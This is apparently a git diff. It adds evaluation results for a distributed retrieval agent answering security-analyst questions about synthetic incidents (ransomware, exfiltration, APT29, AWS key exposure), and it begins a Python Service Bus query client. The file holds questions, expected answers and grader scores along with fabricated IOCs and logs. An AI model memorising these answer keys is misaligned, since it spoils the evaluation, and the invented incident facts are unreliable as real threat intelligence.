"elapsed_s": 33.67 + }, + { + "question_id": "incident_01", + "category": "incident_tracking", + "question": "What is the current status of INC-2024-001?", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. [incidents_034] | Incident Report INC-2024-006: Insider threat - bulk document download. Status: active. Severity: high. Affected systems: SHAREPOINT-01, DLP-GATEWAY. IOCs: disgruntled_emp, bulk_download. CVEs: None identified. Timeline: 2024-03-17 14:00: DLP alert: user downloaded 500+ sensitive documents; 2024-03-17 14:30: User account suspended pending investigation; 2024-03-17 15:00: HR and Legal notified; device confiscated. [incidents_035] | Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked. [incidents_036] | Incident update INC-2024-001: Status changed from contained to investigating. Detail: Root cause analysis in progress; initial entry via phishing email. [incidents_037] | Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation. [incidents_038]", + "score": 0.3, + "reasoning": "The agent's answer mentions 'Incident update INC-2024-001: Status changed from contained to investigating' at the end, which contradicts the expected answer that the status is 'Closed' with the incident fully resolved. The agent provides information about other incidents (INC-2024-005, 006, 007) which are not relevant to the question. This is an L6 (Incremental Learning) question requiring the most recent status, and the agent shows the status as 'investigating' rather than 'Closed', missing all resolution details (files restored, C2 blocked, MFA enforcement, post-incident review). The answer contains some relevant incident data but fails on the critical current status and resolution details.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_034", + "content": "Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "d98c37525fee" + }, + { + "_id": { + "offset": 9, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_035", + "content": "Incident Report INC-2024-006: Insider threat - bulk document download. Status: active. Severity: high. Affected systems: SHAREPOINT-01, DLP-GATEWAY. IOCs: disgruntled_emp, bulk_download. CVEs: None identified. Timeline: 2024-03-17 14:00: DLP alert: user downloaded 500+ sensitive documents; 2024-03-17 14:30: User account suspended pending investigation; 2024-03-17 15:00: HR and Legal notified; device confiscated.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "6554c823c76e" + }, + { + "_id": { + "offset": 10, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_036", + "content": "Incident Report INC-2024-007: Phishing campaign targeting HR department. Status: active. Severity: medium. Affected systems: MAIL-GW-01, HR-WORKSTATION-03. IOCs: support@1egit-company.com, credential-update.phish.com. CVEs: None identified. Timeline: 2024-03-17 10:00: Phishing email detected by mail gateway; 2024-03-17 10:15: 3 users clicked link; 1 entered credentials; 2024-03-17 10:30: Affected user password reset; session tokens revoked.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "71bc7ea9e04e" + } + ], + "elapsed_s": 20.21 + }, + { + "question_id": "incident_02", + "category": "incident_tracking", + "question": "Which incident involved data exfiltration and how many customers were affected?", + "expected_answer": "INC-2024-002: Data exfiltration via compromised svc_backup service account. 2.3GB exfiltrated, breach notification sent to 15,000 affected customers.", + "actual_answer": "Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45. [security_logs_011] | Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com. [security_logs_012] | Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. [security_logs_028] | Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030]", + "score": 0.3, + "reasoning": "The agent provided security logs showing data exfiltration activity (2.3GB transfer from svc_backup account) but failed to answer either part of the question correctly. It did not identify the incident number (INC-2024-002) and provided no information about the 15,000 affected customers. The agent only showed raw security logs and mentioned INC-2024-001 which was about ransomware, not the data exfiltration incident requested. This is an L1 recall question requiring specific factual information, and the agent missed the key identifiers.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 11, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_011", + "content": "Security log [2024-03-16 02:00:00]: Large data transfer from 172.16.0.100 (user: svc_backup, severity: high). bytes transferred: 2.3GB. destination: external_ip:185.220.101.45.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ff04b566e82e" + }, + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_012", + "content": "Security log [2024-03-16 02:15:00]: Anomalous DNS query from 172.16.0.100 (user: svc_backup, severity: high). query: data.exfil.evil.com.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "1721e9ad7037" + }, + { + "_id": { + "offset": 24, + "table": 0 + }, + "_label": "hive_facts", + "concept": "security_logs_024", + "content": "Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "484078dae27b" + } + ], + "elapsed_s": 9.22 + }, + { + "question_id": "incident_03", + "category": "incident_tracking", + "question": "What APT group was attributed to the development infrastructure attack?", + "expected_answer": "INC-2024-003: TTPs matched APT29 (likely state-sponsored). The attack involved supply chain compromise (event-stream), crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "actual_answer": "Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. [incidents_034] | Incident update INC-2024-003: Status changed from active to investigating. Detail: APT group attribution: likely state-sponsored; TTPs match APT29. [incidents_042] | Incident update INC-2024-001: Status changed from investigating to remediated. Detail: All encrypted files restored from backup; attacker C2 blocked at firewall. [incidents_044] | Security log [2024-03-17 09:00:00]: SIEM correlation alert from 10.0.0.13 (user: N/A, severity: critical). rule: APT-CHAIN-001. related events: brute_force,lateral_movement,data_exfil. [security_logs_028] | Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. [incidents_032]", + "score": 1.0, + "reasoning": "The agent correctly identifies APT29 as the attributed APT group for INC-2024-003 (development infrastructure attack). The answer includes all key details: state-sponsored attribution, matching TTPs, and relevant IOCs (event-stream supply chain compromise, crypto mining on CI server, DNS tunneling, xz-utils backdoor CVE-2024-3094). While the agent's response includes additional unrelated incident information, the core answer to the question is complete and accurate.", + "result_count": 15, + "top_results": [ + { + "_id": { + "offset": 8, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_034", + "content": "Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "d98c37525fee" + }, + { + "_id": { + "offset": 16, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_042", + "content": "Incident update INC-2024-003: Status changed from active to investigating. Detail: APT group attribution: likely state-sponsored; TTPs match APT29.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "26db31727648" + }, + { + "_id": { + "offset": 18, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_044", + "content": "Incident update INC-2024-001: Status changed from investigating to remediated. Detail: All encrypted files restored from backup; attacker C2 blocked at firewall.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "b495996815d3" + } + ], + "elapsed_s": 11.89 + }, + { + "question_id": "incident_04", + "category": "incident_tracking", + "question": "How was the AWS key exposure in INC-2024-004 resolved?", + "expected_answer": "Key immediately revoked, CloudTrail audit showed key was used 3 times before revocation but no customer data was accessed (only listed buckets). Git-secrets hook deployed to all repos with mandatory pre-commit scanning.", + "actual_answer": "Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation. [incidents_038] | Incident update INC-2024-004: Status changed from investigating to contained. Detail: S3 access logs show no customer data accessed; key only listed buckets. [incidents_045] | Incident update INC-2024-004: Status changed from contained to closed. Detail: Git-secrets hook deployed to all repos; mandatory pre-commit scanning. [incidents_050] | Security log [2024-03-16 14:00:00]: Database dump detected from 10.0.0.10 (user: db_readonly, severity: critical). tables: users,credentials,api_keys. [security_logs_024] | Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. [incidents_033]", + "score": 0.95, + "reasoning": "The agent provides all key resolution steps: key immediately revoked (incidents_033), CloudTrail audit showed 3 uses before revocation (incidents_038), no customer data accessed/only listed buckets (incidents_045), and git-secrets hook deployed with mandatory pre-commit scanning (incidents_050). The agent correctly synthesizes information across multiple incident updates to provide a complete timeline. Minor deduction because the answer includes some extraneous information (database dump log) that is unrelated to INC-2024-004's resolution, but all essential elements from the expected answer are present and accurate.", + "result_count": 17, + "top_results": [ + { + "_id": { + "offset": 12, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_038", + "content": "Incident update INC-2024-004: Status changed from active to investigating. Detail: Key was used 3 times from unknown IP before revocation.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "516843363442" + }, + { + "_id": { + "offset": 19, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_045", + "content": "Incident update INC-2024-004: Status changed from investigating to contained. Detail: S3 access logs show no customer data accessed; key only listed buckets.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "b46f4592046b" + }, + { + "_id": { + "offset": 24, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_050", + "content": "Incident update INC-2024-004: Status changed from contained to closed. Detail: Git-secrets hook deployed to all repos; mandatory pre-commit scanning.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "703a8807831f" + } + ], + "elapsed_s": 17.17 + }, + { + "question_id": "incident_05", + "category": "incident_tracking", + "question": "Which incidents have CVEs associated with them?", + "expected_answer": "INC-2024-001 has CVE-2024-21626, and INC-2024-003 has CVE-2024-3094 (xz-utils backdoor)", + "actual_answer": "", + "score": 0.0, + "reasoning": "No results returned by hive", + "result_count": 0, + "top_results": [], + "elapsed_s": 16.26 + }, + { + "question_id": "incident_06", + "category": "incident_tracking", + "question": "What was the timeline of the insider threat incident?", + "expected_answer": "INC-2024-006: DLP alert at 14:00 for bulk download of 500+ sensitive documents, account suspended at 14:30, HR/Legal notified and device confiscated at 15:00. User had resigned 2 weeks prior and was downloading competitor-sensitive data. Legal action initiated.", + "actual_answer": "Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network. [incidents_030] | Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled. [incidents_031] | Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed. [incidents_032] | Incident Report INC-2024-004: Cloud credential exposure in public repository. Status: active. Severity: high. Affected systems: AWS-PROD-ACCOUNT, S3-CUSTOMER-DATA. IOCs: AKIA*, prod-customer-data. CVEs: None identified. Timeline: 2024-03-17 12:00: AWS key found in public GitHub repository; 2024-03-17 12:05: Key immediately revoked via AWS console; 2024-03-17 12:15: CloudTrail audit initiated for key usage. [incidents_033] | Incident Report INC-2024-005: Brute force attack on RDP services. Status: contained. Severity: high. Affected systems: JUMP-01, TERM-SERVER-01. IOCs: 192.168.2.10, 0.0.0.0/0:3389. CVEs: None identified. Timeline: 2024-03-16 09:00: Firewall rule change detected: RDP opened to internet; 2024-03-16 09:05: 150 RDP brute force attempts detected; 2024-03-16 09:10: Firewall rule reverted; RDP restricted to VPN only. [incidents_034]", + "score": 0.0, + "reasoning": "The agent provided information about five different incidents (INC-2024-001 through INC-2024-005) covering ransomware, data exfiltration, APT campaigns, cloud credential exposure, and brute force attacks. However, the question specifically asked about the insider threat incident (INC-2024-006), which involved a DLP alert, bulk document download by a resigned employee, and legal action. The agent's answer contains no information about INC-2024-006 or any insider threat scenario. This is completely unrelated to what was asked.", + "result_count": 20, + "top_results": [ + { + "_id": { + "offset": 30, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_030", + "content": "Incident Report INC-2024-001: Ransomware attempt on file server. Status: contained. Severity: critical. Affected systems: FS-01, FS-02, BACKUP-01. IOCs: 185.220.101.45, evil.com, payload.exe, Cobalt Strike. CVEs: CVE-2024-21626. Timeline: 2024-03-17 19:00: Ransomware behavior detected on FS-01; 2024-03-17 19:15: Incident declared, SOC notified; 2024-03-17 19:30: FS-01 isolated from network.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "ceaa2563397e" + }, + { + "_id": { + "offset": 31, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_031", + "content": "Incident Report INC-2024-002: Data exfiltration via compromised service account. Status: active. Severity: critical. Affected systems: DB-PROD-01, API-GW-01. IOCs: 172.16.0.100, data.exfil.evil.com, svc_backup. CVEs: None identified. Timeline: 2024-03-16 02:00: Large data transfer detected from DB-PROD-01; 2024-03-16 02:20: C2 connection confirmed to 185.220.101.45; 2024-03-16 03:00: svc_backup account disabled.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "f801ac31f1cd" + }, + { + "_id": { + "offset": 32, + "table": 0 + }, + "_label": "hive_facts", + "concept": "incidents_032", + "content": "Incident Report INC-2024-003: APT campaign targeting development infrastructure. Status: active. Severity: critical. Affected systems: CI-SERVER-01, GIT-01, DEV-WORKSTATION-12. IOCs: event-stream@5.0.0, tunnel.attacker.net, xmrig. CVEs: CVE-2024-3094. Timeline: 2024-03-17 16:00: Supply chain compromise detected in event-stream package; 2024-03-17 16:30: CI-SERVER-01 found running crypto miner; 2024-03-17 17:00: DNS tunneling from GIT-01 confirmed.", + "confidence": "0.95", + "source": "eval-seed", + "node_id": "043bbe9f8253" + } + ], + "elapsed_s": 12.35 + } + ] +} \ No newline at end of file diff --git a/experiments/hive_mind/query_hive.py b/experiments/hive_mind/query_hive.py new file mode 100644 index 000000000..a0c2d320e --- /dev/null +++ b/experiments/hive_mind/query_hive.py @@ -0,0 +1,1767 @@ +#!/usr/bin/env python3 +"""query_hive.py -- Query the live Azure Hive Mind with security analyst Q&A evaluation. + +Sends a network_graph.search_query event to the live Azure hive agents via +Azure Service Bus and collects their network_graph.search_response replies. + +Uses amplihack_eval to generate security analyst scenario questions (via +generate_dialogue and generate_questions) and grade answers semantically +(via grade_answer). + +The live hive runs 20 Container App agents (agent-0 .. agent-19) that each +hold a shard of the distributed knowledge graph. This script acts as an +external query client: it publishes a search query and fans in responses. + +Architecture +------------ + query_hive.py + │ + │ publishes network_graph.search_query + ▼ + Azure Service Bus (topic: hive-graph) + │ + ├─► agent-0 subscription → agent-0 (Container App) → search_response + ├─► agent-1 subscription → agent-1 (Container App) → search_response + │ ... + └─► agent-N subscription → agent-N (Container App) → search_response + │ + └─► eval-query-agent subscription ← responses collected here + +Live Hive Architecture Notes +----------------------------- +The live hive agents each run: + Memory(topology="distributed", transport="azure_service_bus") + +This creates: + 1. A CognitiveAdapter backed by Kuzu at /data/agent-N/ -- holds LEARN_CONTENT facts + 2. A NetworkGraphStore backed by Kuzu at /data/agent-N/graph_store/ -- handles search protocol + +Facts ingested via LEARN_CONTENT events go into the CognitiveAdapter's DB. +The NetworkGraphStore's DB is populated only via create_node replication events +from other NetworkGraphStore instances. + +This means: search_query against the live hive will return results IF data +was ingested into the NetworkGraphStore via the network replication protocol. +Use --seed to populate via the Service Bus before running --run-eval. + +Usage +----- + # Seed the live hive and run security analyst Q&A eval + python experiments/hive_mind/query_hive.py --seed --run-eval --output results.json + + # Single query (after seeding) + python experiments/hive_mind/query_hive.py --query "What CVE was used in the supply chain attack?" + + # Demo mode: run eval locally with DistributedHiveGraph (no Azure needed) + python experiments/hive_mind/query_hive.py --demo + + # Live diagnostic: connect, query, show what the live hive returns + python experiments/hive_mind/query_hive.py --run-eval + + # Run eval 3 times and report median + stddev of scores + python experiments/hive_mind/query_hive.py --run-eval --repeats 3 + +Environment Variables +--------------------- + HIVE_CONNECTION_STRING Azure Service Bus connection string (required) + HIVE_TOPIC Topic name (default: hive-graph) + HIVE_SUBSCRIPTION Subscription name for receiving responses + (default: eval-query-agent) + HIVE_TIMEOUT Response wait timeout in seconds (default: 10) + ANTHROPIC_API_KEY Required for grade_answer semantic grading + +Prerequisites +------------- + pip install azure-servicebus amplihack-agent-eval anthropic + export HIVE_CONNECTION_STRING="Endpoint=sb://..." + export ANTHROPIC_API_KEY="sk-ant-..." +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import statistics +import sys +import threading +import time +import uuid +from typing import Any + +logging.basicConfig( + level=logging.WARNING, + format="%(asctime)s %(name)s %(levelname)s: %(message)s", +) +logger = logging.getLogger("query_hive") + +# --------------------------------------------------------------------------- +# Constants / defaults +# --------------------------------------------------------------------------- + +_DEFAULT_CONNECTION_STRING = os.environ.get("HIVE_CONNECTION_STRING", "") +_DEFAULT_TOPIC = os.environ.get("HIVE_TOPIC", "hive-graph") +_DEFAULT_SUBSCRIPTION = os.environ.get("HIVE_SUBSCRIPTION", "eval-query-agent") +_DEFAULT_TIMEOUT = float(os.environ.get("HIVE_TIMEOUT", "10")) + +# Event type constants (must match NetworkGraphStore) +_OP_SEARCH_QUERY = "network_graph.search_query" +_OP_SEARCH_RESPONSE = "network_graph.search_response" +_OP_CREATE_NODE = "network_graph.create_node" + +# --------------------------------------------------------------------------- +# Security analyst fact corpus (for seeding the hive) +# Dynamically loaded from amplihack_eval.data.generate_dialogue security blocks +# so that seeded facts match the eval questions generated from the same corpus. +# --------------------------------------------------------------------------- + +_FACT_CORPUS_FALLBACK: list[dict[str, str]] = [ + # Security incidents and CVEs (static fallback when amplihack_eval unavailable) + {"concept": "log4shell", "content": "The Log4Shell vulnerability (CVE-2021-44228) had a CVSS score of 10.0."}, + {"concept": "solarwinds", "content": "The SolarWinds attack compromised 18,000 organizations in 2020."}, + {"concept": "supply_chain", "content": "Supply chain attacks increased 742% between 2019 and 2022."}, + {"concept": "brute_force", "content": "Brute force attack detected from 192.168.1.45: 847 failed SSH login attempts targeting admin accounts over 12 minutes."}, + {"concept": "c2_traffic", "content": "C2 beacon traffic detected from 172.16.0.100 (svc_backup) to 185.220.101.45 on port 443 using HTTPS tunneling."}, + {"concept": "supply_chain_attack", "content": "Supply chain attack detected: malicious npm package event-stream@5.0.0 with crypto-mining payload found in CI pipeline."}, + {"concept": "xz_backdoor", "content": "CVE-2024-3094 (xz-utils/sshd backdoor) detected on build servers; attacker used DNS tunneling via *.tunnel.attacker.net."}, + {"concept": "insider_threat", "content": "Insider threat indicator: bulk download of 15,234 sensitive documents by user jsmith detected; DLP policy triggered."}, + {"concept": "inc_2024_001", "content": "INC-2024-001: Ransomware attack on production database servers; 3 servers encrypted; status: contained; CVE-2024-21626 involved."}, + {"concept": "inc_2024_002", "content": "INC-2024-002: Data exfiltration via C2 server 185.220.101.45; 2.3GB exfiltrated; breach notification sent to 15,000 customers; status: remediated."}, + {"concept": "inc_2024_003", "content": "INC-2024-003: APT29 (state-sponsored) supply chain attack; TTPs matched APT29; involved event-stream npm package, crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094)."}, + {"concept": "apt29", "content": "APT29 (Cozy Bear) is a Russian state-sponsored threat actor known for supply chain attacks and stealthy long-term persistence."}, + {"concept": "ransomware_response", "content": "Ransomware incident response playbook: isolate affected systems, preserve evidence, notify stakeholders, restore from clean backups, patch vulnerabilities."}, + {"concept": "ioc_correlation", "content": "IOC correlation links 192.168.1.45 (SSH brute force), 185.220.101.45 (C2 server), event-stream@5.0.0 (malicious npm), and tunnel.attacker.net (DNS C2)."}, +] + + +def _build_eval_seed_facts() -> list[dict[str, str]]: + """Build seed facts from amplihack_eval security/incident dialogue turns. + + Uses the same generate_dialogue(num_turns=300, seed=42) call that generates + eval questions, ensuring seeded facts match what the questions ask about. + + Returns: + List of fact dicts with 'concept' and 'content' keys, one per dialogue turn, + falling back to _FACT_CORPUS_FALLBACK if amplihack_eval is unavailable. + """ + try: + from amplihack_eval.data import generate_dialogue + except ImportError: + logger.warning("amplihack_eval not available; using fallback seed corpus") + return list(_FACT_CORPUS_FALLBACK) + + ground_truth = generate_dialogue(num_turns=300, seed=42) + security_turns = [ + t for t in ground_truth.turns + if t.block_name in ("security_logs", "incidents") and t.content + ] + if not security_turns: + logger.warning("generate_dialogue returned no security turns; using fallback seed corpus") + return list(_FACT_CORPUS_FALLBACK) + + facts: list[dict[str, str]] = [] + for idx, turn in enumerate(security_turns): + # Derive a concept key from the block and turn index + concept = f"{turn.block_name}_{idx:03d}" + facts.append({ + "concept": concept, + "content": turn.content, + "confidence": "0.95", + }) + + logger.info( + "Built %d seed facts from amplihack_eval generate_dialogue (security_logs + incidents)", + len(facts), + ) + return facts + + +# Lazy-loaded seed facts (populated on first use of --seed) +_FACT_CORPUS: list[dict[str, str]] | None = None + + +def _get_fact_corpus() -> list[dict[str, str]]: + """Return cached seed facts, building them from eval on first call.""" + global _FACT_CORPUS + if _FACT_CORPUS is None: + _FACT_CORPUS = _build_eval_seed_facts() + return _FACT_CORPUS + +# --------------------------------------------------------------------------- +# Security analyst Q&A evaluation dataset +# Generated dynamically from amplihack_eval.data.generate_dialogue/generate_questions +# --------------------------------------------------------------------------- + +def _load_security_questions() -> list[Any]: + """Load security analyst scenario questions from amplihack_eval. + + Uses generate_dialogue (300 turns) to produce a security-rich dialogue + covering security_logs (turns ~210-240) and incidents (turns ~240-264). + Then uses generate_questions to extract questions and filters to + security-relevant categories (seclog_*, incident_*). + + Returns: + List of amplihack_eval Question objects with text and expected_answer. + """ + try: + from amplihack_eval.data import generate_dialogue, generate_questions + except ImportError: + logger.warning("amplihack_eval not available; using built-in security questions") + return [] + + ground_truth = generate_dialogue(num_turns=300, seed=42) + all_questions = generate_questions(ground_truth, num_questions=100) + + # Filter to security analyst scenario questions + security_prefixes = ("seclog_", "incident_") + return [ + q for q in all_questions + if any(q.question_id.startswith(pfx) for pfx in security_prefixes) + ] + + +# Lazy-loaded security questions (populated on first use) +_SECURITY_QUESTIONS: list[Any] | None = None + + +def _get_security_questions() -> list[Any]: + """Return cached security questions, loading them on first call.""" + global _SECURITY_QUESTIONS + if _SECURITY_QUESTIONS is None: + _SECURITY_QUESTIONS = _load_security_questions() + return _SECURITY_QUESTIONS + + +# --------------------------------------------------------------------------- +# HiveQueryClient — live Azure Service Bus query client +# --------------------------------------------------------------------------- + + +class HiveQueryClient: + """Client for querying the live Azure hive via Service Bus. + + Publishes network_graph.search_query events and collects + network_graph.search_response replies from live agents. + + Also supports seeding facts into the NetworkGraphStore via + network_graph.create_node events for subsequent querying. + + Args: + connection_string: Azure Service Bus connection string. + topic_name: Service Bus topic name (default: hive-graph). + subscription_name: Subscription to receive responses on. + timeout: Max seconds to wait for agent responses. + agent_id: Identity used as source_agent in published events. + """ + + def __init__( + self, + connection_string: str = _DEFAULT_CONNECTION_STRING, + topic_name: str = _DEFAULT_TOPIC, + subscription_name: str = _DEFAULT_SUBSCRIPTION, + timeout: float = _DEFAULT_TIMEOUT, + agent_id: str = "eval-query-agent", + ) -> None: + try: + from azure.servicebus import ServiceBusClient as _SBClient + except ImportError as exc: + raise ImportError( + "azure-servicebus is required. Install with: pip install azure-servicebus" + ) from exc + + self._connection_string = connection_string + self._topic_name = topic_name + self._subscription_name = subscription_name + self._timeout = timeout + self._agent_id = agent_id + + self._client = _SBClient.from_connection_string(connection_string) + self._sender = self._client.get_topic_sender(topic_name=topic_name) + self._receiver = self._client.get_subscription_receiver( + topic_name=topic_name, + subscription_name=subscription_name, + ) + + # Pending queries: query_id -> {event, results} + self._pending: dict[str, dict[str, Any]] = {} + self._pending_lock = threading.Lock() + + # Start background receiver thread + self._running = True + self._thread = threading.Thread( + target=self._receive_loop, + daemon=True, + name="hive-query-receiver", + ) + self._thread.start() + logger.info( + "HiveQueryClient connected to %s (subscription: %s)", + topic_name, + subscription_name, + ) + + def seed_facts( + self, + facts: list[dict[str, str]] | None = None, + table: str = "hive_facts", + ) -> int: + """Seed facts into the live hive's NetworkGraphStore via create_node events. + + Publishes network_graph.create_node events to the Service Bus topic. + Each live agent's NetworkGraphStore will receive and store these nodes + in its local Kuzu DB, making them searchable via search_query. + + Args: + facts: List of fact dicts with 'concept' and 'content' keys. + Defaults to _FACT_CORPUS. + table: Table name for the facts (default: hive_facts). + + Returns: + Number of facts seeded. + """ + from azure.servicebus import ServiceBusMessage + + corpus = facts if facts is not None else _get_fact_corpus() + count = 0 + for fact in corpus: + node_id = uuid.uuid4().hex[:12] + payload = { + "event_id": uuid.uuid4().hex, + "event_type": _OP_CREATE_NODE, + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "table": table, + "node_id": node_id, + "properties": { + "node_id": node_id, + "concept": fact.get("concept", ""), + "content": fact.get("content", ""), + "confidence": fact.get("confidence", "0.95"), + "source": "eval-seed", + }, + }, + } + try: + msg = ServiceBusMessage( + body=json.dumps(payload, separators=(",", ":")), + application_properties={ + "event_type": _OP_CREATE_NODE, + "source_agent": self._agent_id, + }, + ) + self._sender.send_messages(msg) + count += 1 + except Exception: + logger.debug("Failed to seed fact: %s", fact.get("content", ""), exc_info=True) + + logger.info("Seeded %d facts into table=%s", count, table) + return count + + def query( + self, + text: str, + table: str = "hive_facts", + limit: int = 20, + max_retries: int = 2, + retry_backoff: float = 2.0, + ) -> list[dict[str, Any]]: + """Query the live hive for facts matching `text`. + + Publishes a search_query event and waits up to self._timeout seconds + for agent responses. Retries up to max_retries times with exponential + backoff if 0 results are returned. + + Args: + text: The search query text. + table: Graph table to search (default: hive_facts). + limit: Max results per agent. + max_retries: Number of retry attempts when 0 results returned. + retry_backoff: Base backoff in seconds between retries (doubled each attempt). + + Returns: + Deduplicated list of matching fact dicts, sorted by confidence. + """ + attempt = 0 + backoff = retry_backoff + while True: + results = self._query_once(text=text, table=table, limit=limit) + if results or attempt >= max_retries: + if attempt > 0 and not results: + logger.warning( + "Query returned 0 results after %d retries: %r", attempt, text + ) + return results + attempt += 1 + logger.debug( + "Query returned 0 results (attempt %d/%d), retrying in %.1fs: %r", + attempt, max_retries, backoff, text, + ) + time.sleep(backoff) + backoff *= 2 + + def _query_once( + self, + text: str, + table: str = "hive_facts", + limit: int = 20, + ) -> list[dict[str, Any]]: 